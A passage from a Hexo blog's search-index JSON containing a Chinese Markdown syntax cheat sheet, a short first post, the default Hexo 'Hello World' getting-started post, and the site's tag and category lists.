加粗 斜体加粗 下划线 高亮 重点 重点 重点 链接 1[mygithub](https://github.com/huaeryi) mygithub 1[我的github](https://github.com/huaeryi "https://github.com/huaeryi") 我的github 12* mygithub[^website][^website]:https://github.com/huaeryi mygithub[1] 1![picture](/MarkdownHelp/Head.jpg =300x300) 1![ok](/First/pic.jpg "hello") 1[reference to Others](#Others) reference to Others 代码 1`$ echo "El Psy Kongroo"` $ echo "El Psy Kongroo" 12345678910//忽略斜杠//```cpp#include <iostream>int main(){ using namespace std; cout << "Hello world" << endl; return 0;}//``` 1234567#include <iostream>int main(){ using namespace std; cout << "Hello world" << endl; return 0;} 表情 12:smile::laughing: 😄 😆 emoji表情大全 Latex 1$\\alpha = \\delta$ $\\alpha = \\delta$ 123$$\\alpha = \\delta$$ $$ \\alpha = \\delta $$ LaTeX数学公式、常用符号大全 在线编辑器 Others 1* X^2^ X2 12- [ ] home- [x] homework home homework 123+++ **点击折叠**这是被隐藏的内容+++ 点击折叠这是被隐藏的内容 123|name|age|mark|:---:|:---:|:---:||peter|20|80| name age mark peter 20 80 https://github.com/huaeryi ↩︎","link":"/2022/07/14/MarkdownHelp/"},{"title":"First","text":"First This is my First Markdown file. reference to title","link":"/2022/07/13/First/"},{"title":"Hello World","text":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick Start Create a new post 1$ hexo new "My New Post" More info: Writing Run server 1$ hexo server More info: Server Generate static files 1$ hexo generate More info: Generating Deploy to remote sites 1$ hexo deploy More info: Deployment","link":"/2022/05/01/hello-world/"}],"tags":[{"name":"8051","slug":"8051","link":"/tags/8051/"},{"name":"MCU","slug":"MCU","link":"/tags/MCU/"},{"name":"C","slug":"C","link":"/tags/C/"},{"name":"OS","slug":"OS","link":"/tags/OS/"},{"name":"RISC-V","slug":"RISC-V","link":"/tags/RISC-V/"},{"name":"GNU Make","slug":"GNU-Make","link":"/tags/GNU-Make/"},{"name":"Plan","slug":"Plan","link":"/tags/Plan/"},{"name":"Math","slug":"Math","link":"/tags/Math/"},{"name":"Shell","slug":"Shell","link":"/tags/Shell/"},{"name":"C++","slug":"C","link":"/tags/C/"},{"name":"x86","slug":"x86","link":"/tags/x86/"},{"name":"Golang","slug":"Golang","link":"/tags/Golang/"},{"name":"Python","slug":"Python","link":"/tags/Python/"},{"name":"CTF","slug":"CTF","link":"/tags/CTF/"},{"name":"ChatGPT","slug":"ChatGPT","link":"/tags/ChatGPT/"},{"name":"ASCII","slug":"ASCII","link":"/tags/ASCII/"},{"name":"Markdown","slug":"Markdown","link":"/tags/Markdown/"},{"name":"Docker","slug":"Docker","link":"/tags/Docker/"},{"name":"Git","slug":"Git","link":"/tags/Git/"},{"name":"Github","slug":"Github","link":"/tags/Github/"},{"name":"Java","slug":"Java","link":"/tags/Java/"},{"name":"CMake","slug":"CMake","link":"/tags/CMake/"},{"name":"Network","slug":"Network","link":"/tags/Network/"},{"name":"Rust","slug":"Rust","link":"/tags/Rust/"},{"name":"STM32","slug":"STM32","link":"/tags/STM32/"},{"name":"Vim","slug":"Vim","link":"/tags/Vim/"},{"name":"0->1","slug":"0-1","link":"/tags/0-1/"},{"name":"Windows","slug":"Windows","link":"/tags/Windows/"},{"name":"Linux","slug":"Linux","link":"/tags/Linux/"},{"name":"gdb","slug":"gdb","link":"/tags/gdb/"},{"name":"jupyter","slug":"jupyter","link":"/tags/jupyter/"},{"name":"tmux","slug":"tmux","link":"/tags/tmux/"},{"name":"HTML","slug":"HTML","link":"/tags/HTML/"},{"name":"CSS","slug":"CSS","link":"/tags/CSS/"},{"name":"Javascript","slug":"Javascript","link":"/tags/Javascript/"},{"name":"Physics","slug":"Physics","link":"/tags/Physics/"},{"name":"Latex","slug":"Latex","link":"/tags/Latex/"}],"categories":[{"name":"电子&嵌入式","slug":"电子-嵌入式","link":"/categories/%E7%94%B5%E5%AD%90-%E5%B5%8C%E5%85%A5%E5%BC%8F/"},{"name":"操作系统","slug":"操作系统","link":"/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Others","slug":"Others","link":"/categories/Others/"},{"name":"CS Tools","slug":"CS-Tools","link":"/categories/CS-Tools/"},{"name":"CS Language","slug":"CS-Language","link":"/categories/CS-Language/"},{"name":"系统安全","slug":"系统安全","link":"/categories/%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8/"},{"name":"人工智能","slug":"人工智能","link":"/categories/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/"},{"name":"CTF","slug":"CTF","link":"/categories/CTF/"},{"name":"机器学习","slug":"机器学习","link":"/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"软件工程","slug":"软件工程","link":"/categories/%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B/"},{"name":"文学","slug":"文学","link":"/categories/%E6%96%87%E5%AD%A6/"},{"name":"数学","slug":"数学","link":"/categories/%E6%95%B0%E5%AD%A6/"},{"name":"计算机网络","slug":"计算机网络","link":"/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"},{"name":"CS Project","slug":"CS-Project","link":"/categories/CS-Project/"},{"name":"数据结构&算法","slug":"数据结构-算法","link":"/categories/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84-%E7%AE%97%E6%B3%95/"},{"name":"前端","slug":"前端","link":"/categories/%E5%89%8D%E7%AB%AF/"},{"name":"物理","slug":"物理","link":"/categories/%E7%89%A9%E7%90%86/"},{"name":"体系结构","slug":"体系结构","link":"/categories/%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84/"}],"pages":[{"title":"About","text":"","link":"/About/index.html"},{"title":"tags","text":"","link":"/tags/index.html"},{"title":"categories","text":"","link":"/categories/index.html"}]}